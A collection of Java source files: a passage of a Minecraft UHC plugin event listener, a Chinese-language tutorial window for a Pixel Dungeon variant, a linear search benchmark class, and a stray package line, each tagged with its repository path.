if(g.getGameStateString().contains("游戏") && g.getGameState()!=GameState.Finish){
if(evt.getPlayer().getGameMode() != GameMode.SPECTATOR
&& !evt.getPlayer().getWorld().getName().contains("lobby")){
for(ItemStack item : evt.getPlayer().getInventory().getContents()){
if(item == null)
continue;
if(item.getType() == Material.AIR)
continue;
evt.getPlayer().getWorld().dropItemNaturally(evt.getPlayer().getLocation(), item);
}
for(ItemStack item: evt.getPlayer().getInventory().getArmorContents()){
if(item == null)
continue;
if(item.getType() == Material.AIR)
continue;
evt.getPlayer().getWorld().dropItemNaturally(evt.getPlayer().getLocation(), item);
}
}
}
}catch(Exception e){
e.printStackTrace();
}
evt.getPlayer().getInventory().clear();
evt.getPlayer().getInventory().setArmorContents(null);
evt.setQuitMessage("");
}
@EventHandler
public void handleFoodLevel(FoodLevelChangeEvent evt){
Game g = Core.get().getCurrentGame();
if(g.getGameStateString().contains("游戏") && g.getGameState() != GameState.Nopvp){
return;
}
evt.setCancelled(true);
}
@EventHandler
public void handleItemDrop(PlayerDropItemEvent evt){
if(!Core.get().getCurrentGame().getGameStateString().contains("游戏") || Core.get().getCurrentGame().getGameState() == GameState.Teleporting){
evt.setCancelled(true);
}
}
//feature
@EventHandler
public void chat(AsyncPlayerChatEvent evt){
evt.setCancelled(true);
boolean isAll = false;
if(Core.get().getCurrentGame().getGameState() == GameState.Teleporting){
evt.getPlayer().sendMessage(ChatColor.YELLOW + "YourCraft >> 传送中……请您耐心等待.禁言将在传送完毕后解除!");
return;
}
if(noSpam.contains(evt.getPlayer().getName())){
evt.getPlayer().sendMessage(ChatColor.YELLOW + "YourCraft >> 请减慢您的语速!");
return;
}
if(evt.getMessage().startsWith("!") || evt.getMessage().startsWith("!") ){
evt.setMessage(evt.getMessage().substring(1));
isAll = true;
}
String pp = Core.chat.getPlayerPrefix(evt.getPlayer()).replace("&", "§");
if(pp== null || (!pp.contains("VIP+") && !pp.contains("MVP"))){
noSpam.add(evt.getPlayer().getName());
}
String realMsg = null;
GamePlayer p = Core.get().getPc().getGamePlayer(evt.getPlayer());
GameTeam gt = p.getTeam();
Game g = Core.get().getCurrentGame();
if(p.isSpec()){
realMsg= "<观察者>"+pp + evt.getPlayer().getDisplayName() + ChatColor.GOLD + " >> " +ChatColor.GRAY + evt.getMessage();
if(realMsg.contains("有钻石") || realMsg.contains("这里钻石") || realMsg.contains("坐标")){
return;
}
}else{
realMsg= pp + evt.getPlayer().getDisplayName() + ChatColor.GOLD + " >> " +ChatColor.GRAY + evt.getMessage();
}
try{
if(!p.notified && !p.isSpec() && Core.get().getCurrentGame().getGameStateString().contains("游戏")){
p.get().sendMessage(Message.prefix + Core.getMsg().getMessage("notify-chat-format1"));
p.get().sendMessage(Message.prefix + Core.getMsg().getMessage("notify-chat-format2"));
p.notified = true;
}
}catch (Exception e){
}
if(isAll || (!Core.get().getCurrentGame().getGameStateString().contains("游戏") || Core.get().getCurrentGame().getGameState() == GameState.Teleporting) || p.isSpec() || gt == null){
if(p.isSpec() && Core.get().getCurrentGame().getGameState() != GameState.Finish){
Iterator<Player> iter = evt.getRecipients().iterator();
while(iter.hasNext()){
Player target = iter.next();
if(target.getGameMode() != GameMode.SPECTATOR){
continue;
}
target.sendMessage(realMsg);
}
return;
}
Core.get().getCurrentGame().sendAllChatMessage(realMsg);
}else{
gt.sendTeamMessage(realMsg);
}
}
@EventHandler
public void onItemClick(PlayerInteractEvent evt){
if(Core.get().getCurrentGame().getGameStateString().contains("游戏") ){
return;
}
if(evt.getAction() == Action.PHYSICAL){
return;
}
ItemStack item = evt.getPlayer().getItemInHand();
if(item == null){
return;
}
if(!item.hasItemMeta() || !item.getItemMeta().hasDisplayName()){
return;
}
evt.setCancelled(true);
String theName = item.getItemMeta().getDisplayName();
evt.getPlayer().playSound(evt.getPlayer().getLocation(), Sound.ITEM_PICKUP, 1, 1);
if(theName.contains("返回大厅")){
Core.get().getBc().quitSend(evt.getPlayer());
}else if(theName.contains("离开队伍")){
GamePlayer gp = Core.get().getPc().getGamePlayer(evt.getPlayer());
if(gp == null){
return;
}
if(gp.getTeam() == null){
gp.sendMessage("您还没有队伍呢,蹲下加右键别的玩家或输入 /zu 玩家姓名 来与其他玩家组队.");
return;
}
gp.getTeam().quitTeam(gp);
}else if(theName.contains("职业")){
evt.getPlayer().sendMessage(ChatColor.YELLOW +"YourCraft >> 尚未开放,敬请期待!");
return;
}else if(theName.contains("帮助")){
Player p = evt.getPlayer();
p.sendMessage("§6=======================================================");
p.sendMessage(" §e§lUHC§b是一款以绝境生存PVP为主的小游戏");
p.sendMessage(" §b你可与另外2名玩家组队,在极度艰苦的环境下共同生存下去,猎杀敌人.");
p.sendMessage(" §b每一场游戏地图均是随机生成的,范围是2000*2000.");
p.sendMessage(" §b在10分钟PVP保护时间结束后,边境将会向世界中心收缩,饥饿度也会开始消耗.");
p.sendMessage(" §b另外,在极限模式下你不会恢复生命值,受到怪物伤害也会翻倍.");
p.sendMessage(" §b连续击杀玩家将会恢复生命值,并获得加速BUFF. ");
p.sendMessage(" §e§l祝你好运,愿君加冕!");
p.sendMessage(" §7§lTIP: 你可以输入/zu 玩家名称 或 按住蹲下加右键玩家组队.");
p.sendMessage("§6=======================================================");
return;
}else if(theName.contains("数据统计")){
Player p = evt.getPlayer();
GamePlayer gp = Core.get().getPc().getGamePlayer(p);
try{
gp.getGs().show();
}catch(Exception e){
}
}
}
@EventHandler
public void onInventoryMove(InventoryClickEvent evt){
if(!Core.get().getCurrentGame().getGameStateString().contains("游戏") ){
evt.setCancelled(true);
return;
}
Player p = (Player) evt.getWhoClicked();
GamePlayer gp = Core.get().getPc().getGamePlayer(p);
if(gp.isSpec()){
if(evt.getCurrentItem() != null){
if(evt.getCurrentItem().hasItemMeta() && evt.getCurrentItem().getItemMeta().hasDisplayName()){
String name = evt.getCurrentItem().getItemMeta().getDisplayName();
if(name.contains("返回大厅")){
Core.get().getBc().quitSend(p);
}
}
}
evt.setCancelled(true);
return;
}
}
@EventHandler
public void onWeather(WeatherChangeEvent evt){
if(evt.getWorld().getName().equals("lobby")){
evt.setCancelled(true);
}
}
@EventHandler
public void onParty(PlayerInteractEntityEvent evt){
if(Core.get().getCurrentGame().getGameStateString().contains("游戏") ){
return;
}
if(!(evt.getRightClicked() instanceof Player) ){
return;
}
Player p1 = (Player) evt.getRightClicked();
Player p2 = evt.getPlayer();
if(!p2.isSneaking()){
return;
}
Core.get().getCurrentGame().teamPlayer(Core.get().getPc().getGamePlayer(p2),Core.get().getPc().getGamePlayer(p1));
}
@EventHandler(priority = EventPriority.HIGH)
public void onControlDamage(EntityDamageEvent evt){
Entity e = evt.getEntity();
if(!(e instanceof Player)){
return;
}
Player p = (Player) e ;
GamePlayer gp = Core.get().getPc().getGamePlayer(p);
Game g = Core.get().getCurrentGame();
if(g == null){
evt.setCancelled(true);
return;
}
if(g.getGameState() == GameState.Finish || g.getGameState() == GameState.Teleporting ){
evt.setCancelled(true);
return;
}
if(!Core.get().getCurrentGame().getGameStateString().contains("游戏") ){
evt.setCancelled(true);
if(evt.getCause() == DamageCause.VOID){
gp.get().teleport(Core.lobby);
}
return;
}
if(Core.get().getCurrentGame().getGameState() == GameState.Nopvp && Core.get().getCurrentGame().publicCount > 580 ){
evt.setCancelled(true);
return;
}
if(gp.isSpec()){
if(evt.getCause() == DamageCause.VOID){
g.teleportFirst(gp);
}
evt.setCancelled(true);
gp.get().setGameMode(GameMode.SPECTATOR);
return;
}
if(evt.getCause() == DamageCause.SUFFOCATION){
if(p.getRemainingAir() != 0){
Location current = p.getLocation();
if(Math.abs(current.getBlockX()) >= ((Core.get().getCurrentGame().getBorderSize()/2)+3) || Math.abs(current.getBlockZ()) >= ((Core.get().getCurrentGame().getBorderSize()/2)+3)){
gp.sendMessage(ChatColor.YELLOW + " 赶快回到边境内去,你正在被边境侵蚀!");
return;
}
}
}
if(!(evt instanceof EntityDamageByEntityEvent)){
return;
}
EntityDamageByEntityEvent event = (EntityDamageByEntityEvent)evt;
Entity damager = event.getDamager();
if(damager instanceof Player){
Player damager_Player = (Player) damager;
GamePlayer damager_GamePlayer = Core.get().getPc().getGamePlayer(damager_Player);
if((gp.getTeam().isInTeam(damager_GamePlayer) && damager_GamePlayer.getTeam().isInTeam(gp) ) || g.getGameState().equals(GameState.Nopvp)) event.setCancelled(true);
return;
}
if(damager instanceof Arrow){
ProjectileSource shooter = ((Arrow)damager).getShooter();
if(!(shooter instanceof Player)){
return;
}
Player damager_Player =(Player) shooter;
GamePlayer damager_GamePlayer = Core.get().getPc().getGamePlayer(damager_Player);
if((gp.getTeam().isInTeam(damager_GamePlayer) && damager_GamePlayer.getTeam().isInTeam(gp)) || g.getGameState().equals(GameState.Nopvp)) event.setCancelled(true);
return;
}
}
@EventHandler (priority = EventPriority.HIGH)
public void onControlPostionSplash(PotionSplashEvent evt){
ProjectileSource shooter = evt.getEntity().getShooter();
if(!(shooter instanceof Player)){
return;
}
System.out.print("event triggerd onControlPostionSplash");
Player shooter_Player = (Player)shooter;
GamePlayer shooter_GamePlayer = Core.get().getPc().getGamePlayer(shooter_Player);
Collection<PotionEffect> ef = evt.getPotion().getEffects();
Collection<LivingEntity> entity = evt.getAffectedEntities();
for(LivingEntity e : entity){
if(!(e instanceof Player)){
continue;
}
Player p = (Player) e;
GamePlayer gp = Core.get().getPc().getGamePlayer(p);
//System.out.print("FOR " + p.getName());
for(PotionEffect f : ef){
//System.out.print("FOR Effect" + f.getType().getName() );
if(PotionUlt.isNegativePotion(f.getType())){
//System.out.print("Negative Effect");
if(gp.getTeam().isInTeam(shooter_GamePlayer)) {
evt.setIntensity(e, 0);
//System.out.print("No harm onControlPostionSplash");
}
}else{
//System.out.print("Positive Effect");
if(!gp.getTeam().isInTeam(shooter_GamePlayer)) {
evt.setIntensity(e, 0);
//System.out.print("No good onControlPostionSplash");
}
}
}
}
}
}
| JHXSMatthew/UHC | src/main/java/com/github/JHXSMatthew/Listener/PlayerListener.java |
65,505 | /*
* Pixel Dungeon
* Copyright (C) 2012-2015 Oleg Dolya
*
* Yet Another Pixel Dungeon
* Copyright (C) 2015-2019 Considered Hamster
*
* No Name Yet Pixel Dungeon
* Copyright (C) 2018-2019 RavenWolf
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
package com.ravenwolf.nnypdcn.visuals.windows;
import com.ravenwolf.nnypdcn.NoNameYetPixelDungeon;
import com.ravenwolf.nnypdcn.scenes.PixelScene;
import com.ravenwolf.nnypdcn.visuals.Assets;
import com.ravenwolf.nnypdcn.visuals.ui.RenderedTextMultiline;
import com.ravenwolf.nnypdcn.visuals.ui.ScrollPane;
import com.ravenwolf.nnypdcn.visuals.ui.Window;
import com.watabou.gltextures.SmartTexture;
import com.watabou.gltextures.TextureCache;
import com.watabou.noosa.Image;
import com.watabou.noosa.RenderedText;
import com.watabou.noosa.TextureFilm;
import com.watabou.noosa.ui.Component;
public class WndTutorial extends WndTabbed {
private static final int WIDTH_P = 112;
private static final int HEIGHT_P = 160;
private static final int WIDTH_L = 128;
private static final int HEIGHT_L = 128;
private static SmartTexture icons;
private static TextureFilm film;
private static final String TXT_TITLE = "指南";
private static final String[] TXT_LABELS = {
"I", "II", "III", "IV", "V",
};
private static final String[] TXT_TITLES = {
"指南 - 基本界面",
"指南 - 游戏机制",
"指南 - 装备介绍",
"指南 - 消耗物品",
"指南 - 怪物类别",
};
private static final String[][] TXT_POINTS = {
{
"在游戏中,几乎所有操作都可以通过直接点击目标来完成。这包括但不限于移动,攻击,拾起物品以及与NPC和其他地牢元素的互动。",
"通过点击左上角的角色头像来查看你当前拥有的属性和效果。如果其中一个属性正受到未鉴定物品的影响,它的值将显示为\"??\"。",
"点击左下角的时钟按钮可以跳过一个回合。长按该按钮可以进行睡眠——这会让你以更快地速度跳过回合,但也会大幅提高生命回复速度。",
"取决于你在游戏中的设置,这个按钮允许你点击两次或长按以进行一次周边搜索,让你发现周边的隐藏暗门或陷阱。当然,你也可以轻点按钮并选中任何地牢中的物品,以阅读它们的描述并获知其当前状态。",
"这个按钮位于屏幕右下角。点击它即可查看你的背包(想必你已经知道了)。长按它可以查看你当前持有的各类钥匙。",
"在背包按钮左侧有三个快捷栏,你可以利用快捷栏省略打开背包的步骤直接使用物品。长按快捷栏以添加或切换物品。",
"在屏幕最右侧有三个操作按钮,分别是格挡按钮(只有装备盾牌和近战武器时才会显示,长按则会拿起盾牌猛击敌人),远程攻击按钮(只有装备了投武或具有相应箭矢的弓弩时才会显示,点击即可进行一次射击),以及魔具攻击按钮(只有当你装备了法杖或魔咒时才会显示,点击即可进行一次施法)。",
/*"There is an offhand quickslot right above the inventory button. Its effect depends on the combination of weapons you have equipped at the moment. For example, it will shoot if wands or ranged weapons are equipped.",*/
"还有几个默认隐藏的按钮,分别是危险指示器,攻击,拾取和继续按钮。危险标记上会用数字标识出当前视野内的敌人数量。",
"点击危险指示器可以选取一名敌人,然后点击攻击按钮就可以在不点击怪物贴图的情况下攻敌人。以及,长按攻击按钮会显示目标的描述和当前状态。",
"只有当人物站在可拾取物品的正上方时才会出现拾取提示。点击拾取按钮即可直接拾取这些物品。而不需要再去点击角色",
"角色头像的下方可以看到一个按钮,这个按钮可以在不打开背包的情况下直接喝下水袋中的水。你也可以长按此按钮,将水从水袋中倾倒出来。",
"水袋按钮下方还有一个油灯相关的按钮。它的使用方法相对智能——点击它即可点亮,熄灭和添加灯油等操作。长按则会让你把油灯倒在周围一格并点燃。",
},
{
"游戏中绝大多数动作都只消耗一个回合,这意味着一次攻击和移动一格所花费的时间完全一致,绝大多数生物的移动速度适用此规则。记住,指令一旦下达动作就会执行,你需要在所有动作都结算完成后才能继续行动。",
"敌人有一定几率注意到你的存在。该几率取决于它们的感知与你的潜行属性值。同时也取决于你和敌人的距离,不过处于追击状态的敌人不论如何都会发现视野中的你。",
"不过,敌人在失去你视野的时候,它们可能会无法继续追击,并给予你伏击它们的机会。这类情况发生的概率很大程度上取决于你的潜行值。你可以(并且应当)利用墙角,房门或茂密植被来实现这个战术。不过别忘记飞行生物可以看穿茂密植被内的隐蔽。",
"执行攻击或受到攻击时,游戏决定的第一件事是该攻击是否命中。通常情况下,命中的概率取决于攻击者命中属性和防御者的敏捷属性。这些属性在不同的职业和怪物间都有着不同的成长速率。",
"防御方身侧每拥有一个无法通行的地格,它的敏捷属性就会降低1/16。这意味着如果你想让自己的攻击更易命中,你应当将敌人引诱到狭长的走廊上;若想让自己更容易闪躲敌人的攻击,你就应当坚守空旷的区域。",
"所有远程攻击的实际命中率都会因攻击距离的增加而每格减少1/8。法杖中唯一可以被闪避的法杖便是魔弹法杖。其命中率由你的魔能属性决定。",
"玩家角色(及部分后期怪物),在第二次攻击连续命中后,每次连击都会略微增加攻击所造成伤害。会以\"连击\"字样显示在角色的上方及状态栏,并且显著提高你在对抗大量怪物时的效率。",
"你的感知属性会影响你发现周围陷阱或隐藏门的几率,以及通过墙壁感知到敌人行动的几率。要注意的是,随着你进一步深入地牢时,隐藏的陷阱和门会变得更加难以发现。",
"高草是最适合伏击的理想地形,因其既能阻挡视野,也能提高你的潜行。而在水面上行动时则正好相反,会使敌人更容易发现你,并减少你的潜行值。",
"睡眠是最佳的恢复手段。在你长按时钟睡眠时,你会获得平时三倍的自然恢复速率。然而,在水面上睡眠不会获得任何加成,不过你依然可以在需要的时快速跳过回合。",
"主动探索或点亮油灯可以确保你对周围的隐藏环境的感知(如陷阱和隐藏门,现版本无名中点燃油灯只能侦测到隐藏门,但是提高的感知会让你更容易发现陷阱)。需要注意的是,在地牢中点亮灯光也会让敌人更轻易的注意到你的存在。",
"你的意志属性能够显著影响法杖的充能速度,并且影响在装备未识别物品时,察觉到诅咒并防止装备的几率。魔能属性影响法杖的效果和伤害,同时也会影响部分攻击性卷轴的效果。",
},
{
"近战武器被分为多种类别。其中最基本的类别就是轻型单手武器,它们没有任何特殊效果或减益,并且与其他装备搭配使用时不会获得额外的力量惩罚。作为副手武器与主手的远程武器搭配时,在近战时,允许使用它进行近战攻击,而不是使用在近战中有额外惩罚的远程武器进行攻击",
"重型单手武器与轻型单手武器非常相似,但如果作为副手武器使用,它们就会获得额外的力量惩罚",
"轻型双手武器基本上是各不同类型的长柄武器。大多数都具有额外的攻击距离。并不能装备到副手,但是仍可以和盾牌一起使用。",
"重型双手武器并不推荐与盾牌和其他武器使用,因为想要有效的使用它们,就需要更多额外的力量。但他们依旧是最强大的武器",
"双持型武器的目的是双手使用,所以它的攻击速度比任何其他武器都要快,但是它们仍然可以使用盾牌,不过装备盾牌后,它的攻击速度加成就会被抵消",
"投掷武器可以装备在你的投掷槽。它们不能被升级,但是可以让你快速的进行远程攻击。它们会在使用时概率损坏(同样适用于箭矢类)。",
"远程武器需要用双手使用-这意味着他们并不能装备盾牌,但你仍然可以使用你的副手插槽装备法杖或近战武器在近战范围内战斗。如果没有箭矢,你的攻击就会像没有武器一样。每个远程武器都需要特定类型的箭矢。",
"弩是最强大的远程武器,但是每次攻击后都需要消耗半个回合来重新装填弹药。不过要注意的是,你可以在移动时候重新加载",
//"Flintlock weapons require bullets to shoot and gunpowder in your inventory to reload. Also, loud noises tend to draw unnecessary attention. However, firearms are equally accurate on any distance and they penetrate target's armor.",
"不论任何时候,请务必装备着一件护甲。合适的护甲能够大幅增加你的生存几率,减少大多数来源的伤害。但是护甲并不能抵抗非物理伤害,如燃烧,电击,射线等。",
"布甲提供的防护非常有限,不过它可以增强你的一个次要属性——潜行,感知或意志。增强的数值会随着护甲升级而进一步提高,并能够创造出一些强大(但具有一定风险)的玩法。",
"盾牌会占用你的副手栏,使用盾牌会让你进入一个防守状态,一定回合内增加你的护甲等级,并概率格挡敌人的攻击。当成功格挡或招架敌人的时攻击,概率使其弹反,且下次攻击必定命中。盾牌也可以用来猛击敌人,造成一些伤害,并且晕眩和击退被盾牌弹反的敌人",
//"Wands can be very powerful, but you need to equip them and they have a limited number of charges. Utility wands spend all of their charges on use, and their effect depends on amount of charges used.",
"法杖(wands)和魔咒(charms)有着非常强大的效果,并且效果和角色的魔能和意志有关,你需要装备上它们才可以正常使用,而且他们的充能数量有限。法杖的远程输出较为稳定。而魔咒在使用时会消耗所有充能,最终的效果则取决于所消耗的充能数。",
},
{
"大多数的装备都可以升级,升级后的装备会比原先的更强大,武器提高伤害,防具提高防护,还会降低力量需求,使得法杖和魔咒拥有更多的充能上限和充能速度。不过要注意的是,每个物品最多只能提升至5级。",
"武器和护甲都可被附魔。附魔会赋予装备一些特殊的效果,比如附带火焰伤害或提高酸蚀抗性,其触发几率取决于你的装备等级。同时,受到诅咒的装备会逆转其上的魔法效果,使它们对你自身造成负面影响",
"有些物品可能会携带诅咒,这意味着在你着装备它们后,直到清除诅咒之前都无法卸下(可以通过特定卷轴来清除诅咒)。诅咒物品与非诅咒物品有着相同的伤害和防护效果,在每一章节中越是强大的物品越是容易受到诅咒",
"戒指是一种稀有的饰品,当你装备它的时候会提升你的某项属性。它们本身并不强大,但类似的戒指效果相互叠加则会变得很强大。被诅咒的戒指反而降低你的某项能力",
/* "Most equipment has condition level. It slowly decreases as the item is used, but can be restored with the corresponding repair tools or scrolls of Upgrade. Every condition level affects item performance just as much as upgrade level does, but it doesn't affects the strength requirement of the weapon or the number of charges of the wand.",*/
"不管是谁,都需要足够的食物才能在地牢生存。每层至少会生成一个口粮;你也可以在商店里购买食物,部分怪物有时也会掉落食物。当饱食度超过75%时,自然恢复速率会增加;当饱食度低于25%时,自然恢复速率减半。当的饱食度达到0%时,就会因饥饿而受到周期性伤害。",
"最易于使用且数量充足的治疗方式就是你的水袋。喝掉水袋中的水时,你会恢复部分生命值(根据以损失生命值来恢复),并且可以在地牢中偶尔出现的水井里补充水袋。每个章节都至少拥有两口水井。如果发现少了,则可能是在隐藏房间。",
"在地牢的无尽黑暗之中,自然的光源几乎无法见到,这极大地限制了你的视野。你可以点亮油灯来驱散视野上的黑暗。但这基本等同于放弃任何潜行行为,建议慎重使用。",
"如果你有一些多余的火药,那么可以利用它们制成简易炸药。这些炸药可被拆除并回收包裹其中的一部分火药,你也可以将它们捆绑在一起,组合成更加强力的炸药包。(PS.无名地牢现已移除火药)",
"在合适的情况下,卷轴可以发挥出强大的功用。但如果使用不当,有些卷轴甚至会将你引入死亡之中。你没有办法通过观察确认卷轴的种类,除非你试着去读或者在商店里见到一个相同的卷轴。",
"在地牢中你会遇到各种各样的药剂。药水根据效果不同有益有害。有益药剂能够使你获得增益,而有害药剂通常更适合被扔向敌人。",
"有时在高草中会出现一些药草。你可以选择直接吃掉它们,食用这些药草会获得一定的减益或增益效果,可以在炼金釜中炼制药剂。药剂的类型取决于你使用的药草(药草被扔进锅里的顺序不影响结果)。",
"如果发现背包格太少,可以在商店里购买包裹。不同的药草、药剂、卷轴或法杖魔咒分别可以被收纳在一个专属的包裹中。此外,它还能保护这些物品免受环境的影响(比如火、冰等)。",
},
{
"探索地牢时,你会遇见诸多敌人。击败敌人是经验的主要来源,可用于提高你的等级,不过只有在敌人拥有足够威胁时你才能从战斗中得到经验。",
"地牢里最不缺的就是怪物,即使你杀死了眼前的怪物,但依旧会有更多的怪物会出现并追击你。有些怪物会在死亡时会掉落物品,但最好不要对掉落物抱有太高期待。每当地牢中出现一只新生物时,本楼层出现生物的间隔时长就会提高一点。",
"地牢中的每只怪物都有一些特别的能力,但通常你可以将它们分类对待。最常见的敌人,比如老鼠和苍蝇,通常具有较高的敏捷和潜行能力,不过它们的攻击能力很弱,并且没办法承受沉重的打击。",
"一些相对常见的敌人,如窃贼,骷髅或豺狼暴徒通常没有明显的缺陷和优势。有些怪物甚至能从中短距离攻击你,不过这些攻击通常效果不佳,不过在一定条件下它们也会立即切换回近战武器攻击你。",
"部分敌人有着更加可靠的远程攻击手段,并且它们不论何时都会使用这些手段。更糟糕的是这种敌人通常都造成无视护甲的魔法伤害。但是,有些敌人在攻击前也需要花费一定的回合去充能。",
"有些怪物则远比其他敌人具有危险性,它们强壮,结实,并且出手精准。它们唯一的弱点是较低的敏捷属性。同时它们也更容易被伏击,行动时产生的声响也更容易被你听见。",
"通常来说,多数敌人都只归属于自己的章节,不会出现在其他章节之中,但有些敌人会出现在地牢的所有角落之中。它们的能力会一直匹配当前层数的标准。不过此类型中绝大多数的敌人也都有某种弱点,使得应对它们时会相对简单一些。",
"在地牢之中,boss才是最大的威胁。它们非常强大,并且拥有独特的能力。最棘手的一点是你无法回避和boss的战斗,必须击败它们才能继续深入地牢。击败它们需要你做好充足准备并全神贯注,不过在对抗特定boss时也存在着相应技巧,可以略微降低战斗的难度。",
"不过地牢之中的生物并非全部都想置你于死地。地牢中有一些友好住民,甚至有些会请求你完成一个小任务。显然按照它们的要求去做你就会得到一定的奖励,但你也完全可以忽略它们,这并不会对你后续的游戏产生任何其他影响。",
"有些NPC嘛...对你没有任何要求,除了钱。每隔五层都会出现一个小商店,你可以在那里出售自己获取的多余物品并购置一些补给。商店出售的商品种类和质量取决于当前所处章节,但有些商品必定出现在店里。",
"最后请记住,地牢之中的有些敌人是非常神秘的,并非自然的造物,因此可以免疫一些针对肉体和灵魂的负面效果。不过这也使一些不对寻常生物起作用的效果使用在它们身上时会产生未知的影响。",
"那么,这就是全部了。如果你从头到尾阅读完了这篇教程,那这就意味着你已经具备了游玩这款游戏所需的全部知识。一些更加细节的内容会在游戏加载界面出现(还请多多注意),你也可以通过阅读像素地牢wiki上NNYPD的部分文章来了解更多游戏的机制。祝你好运,注意小心那些隐藏的拟型怪!",
/*"Well, that's it for now. If you read this tutorial from the beginning to the end, then you now know everything what you need to start playing this game. Some of details are gonna be explained in loading tips (pay attention to them) and you can learn more about inner workings of the game by reading the YAPD article on the Pixel Dungeon wikia. Good luck, and watch out for mimics!"*/
},
};
private RenderedText txtTitle;
private ScrollPane list;
private enum Tabs {
INTERFACE,
MECHANICS,
CONSUMABLES,
EQUIPMENT,
DENIZENS,
};
// private ArrayList<Component> items = new ArrayList<>();
private static Tabs currentTab;
public WndTutorial() {
super();
icons = TextureCache.get( Assets.HELP );
film = new TextureFilm( icons, 24, 24 );
if (NoNameYetPixelDungeon.landscape()) {
resize( WIDTH_L, HEIGHT_L );
} else {
resize( WIDTH_P, HEIGHT_P );
}
txtTitle = PixelScene.renderText( TXT_TITLE, 8 );
txtTitle.hardlight( Window.TITLE_COLOR );
PixelScene.align(txtTitle);
add( txtTitle );
list = new ScrollPane( new Component() );
add( list );
list.setRect( 0, txtTitle.height(), width, height - txtTitle.height() );
Tab[] tabs = {
new LabeledTab( TXT_LABELS[0] ) {
@Override
protected void select( boolean value ) {
super.select( value );
if( value ) {
currentTab = Tabs.INTERFACE;
updateList( TXT_TITLES[0] );
}
};
},
new LabeledTab( TXT_LABELS[1] ) {
@Override
protected void select( boolean value ) {
super.select( value );
if( value ) {
currentTab = Tabs.MECHANICS;
updateList( TXT_TITLES[1] );
}
};
},
new LabeledTab( TXT_LABELS[2] ) {
@Override
protected void select( boolean value ) {
super.select( value );
if( value ) {
currentTab = Tabs.EQUIPMENT;
updateList( TXT_TITLES[2] );
}
};
},
new LabeledTab( TXT_LABELS[3] ) {
@Override
protected void select( boolean value ) {
super.select( value );
if( value ) {
currentTab = Tabs.CONSUMABLES;
updateList( TXT_TITLES[3] );
}
};
},
new LabeledTab( TXT_LABELS[4] ) {
@Override
protected void select( boolean value ) {
super.select( value );
if( value ) {
currentTab = Tabs.DENIZENS;
updateList( TXT_TITLES[4] );
}
};
},
};
int tabWidth = ( width + 12 ) / tabs.length ;
for (Tab tab : tabs) {
tab.setSize( tabWidth, tabHeight() );
add( tab );
}
select( 0 );
}
private void updateList( String title ) {
txtTitle.text( title );
PixelScene.align(txtTitle);
txtTitle.x = PixelScene.align( PixelScene.uiCamera, (width - txtTitle.width()) / 2 );
// items.clear();
Component content = list.content();
content.clear();
list.scrollTo( 0, 0 );
int index = 0;
float pos = 0;
switch( currentTab ) {
case INTERFACE:
for (String text : TXT_POINTS[0]) {
TutorialItem item = new TutorialItem(text, index++, width);
item.setRect(0, pos, width, item.height());
content.add(item);
// items.add(item);
pos += item.height();
}
break;
case MECHANICS:
index += 12;
for (String text : TXT_POINTS[1]) {
TutorialItem item = new TutorialItem(text, index++, width);
item.setRect(0, pos, width, item.height());
content.add(item);
// items.add(item);
pos += item.height();
}
break;
case EQUIPMENT:
index += 24;
for (String text : TXT_POINTS[2]) {
TutorialItem item = new TutorialItem(text, index++, width);
item.setRect(0, pos, width, item.height());
content.add(item);
// items.add(item);
pos += item.height();
}
break;
case CONSUMABLES:
index += 36;
for (String text : TXT_POINTS[3]) {
TutorialItem item = new TutorialItem(text, index++, width);
item.setRect(0, pos, width, item.height());
content.add(item);
// items.add(item);
pos += item.height();
}
break;
case DENIZENS:
index += 48;
for (String text : TXT_POINTS[4]) {
TutorialItem item = new TutorialItem(text, index++, width);
item.setRect(0, pos, width, item.height());
content.add(item);
// items.add(item);
pos += item.height();
}
break;
}
content.setSize( width, pos );
}
private static class TutorialItem extends Component {
private final int GAP = 4;
private Image icon;
private RenderedTextMultiline label;
public TutorialItem( String text, int index, int width ) {
super();
icon.frame( film.get( index ) );
label.text( text );
label.maxWidth(width - (int)icon.width() - GAP);
PixelScene.align(label);
height = Math.max( icon.height(), label.height() ) + GAP;
}
@Override
protected void createChildren() {
icon = new Image( icons );
add( icon );
label = PixelScene.renderMultiline( 5 );
add( label );
}
@Override
protected void layout() {
icon.y = PixelScene.align( y );
float x1 = icon.x + icon.width;
float y1 = PixelScene.align( y );
label.setPos(x1,y1);
}
}
}
| 1os4r/NoNameYetPixelDungeon-CN | app/src/main/java/com/ravenwolf/nnypdcn/visuals/windows/WndTutorial.java |
65,506 | package Serach;
import common.ArrayGenerator;
public class LinearSearch {
private LinearSearch(){
}
public static <E> int search(E[] data ,E target){
for(int i = 0;i<data.length;i++){
if(data[i].equals(target)){
return i;
}
}
return -1;
}
public static void main(String[] args){
// Integer[] data = {24,18,12,9,16,66,32,4};
// int res = LinearSearch.search(data,16);
// int res2 = search(data,666);
// System.out.println(res);
// System.out.println(res2);
// Student s1 = new Student(1L,"老刘",30);
// Student s2 = new Student(2L,"胜英",29);
// Student s3 = new Student(3L,"云神",28);
// Student s4 = new Student(4L,"海军",27);
// Student s5 = new Student(4L,"张海军",26);
// Student s6 = new Student(5L,"王波",26);
// Student s7 = new Student(6L,"志伟",24);
// Student[] ennovations = {s1,s2,s3,s4,s5,s6,s7};
// Student longjie = new Student(7L,"龙杰",27);
// Student who = new Student();
// who.setId(4L);
// int indexofhaijun = search(ennovations,who);
// int indexoflongjie = search(ennovations,longjie);
// System.out.println(indexofhaijun);
// System.out.println(indexoflongjie);
// System.out.println(s4.equals(s5));
// int n = 10_000_000;
// 10000000条数据,run 100次耗时 1.364255s
// 1000000条数据,run 100次耗时 0.129091s 从这个结果说明,时间复杂度与数据规模成正比;
int[] pool = {10_000_000,1_000_000};
for(int n :pool){
Integer[] arr = ArrayGenerator.generatorOrderArray(n);
long start = System.nanoTime();
for (int i = 0; i <100 ; i++) {
search(arr,n);
}
long end = System.nanoTime();
double use = (end - start) / 1_000_000_000.000000000;
System.out.printf("%d条数据,run %d次耗时 %fs %n",n,100,use);
}
}
}
| JavayVeneno/Algorithm | src/Serach/LinearSearch.java |
65,507 | package com.alibaba.smart.framework.engine.pvm;
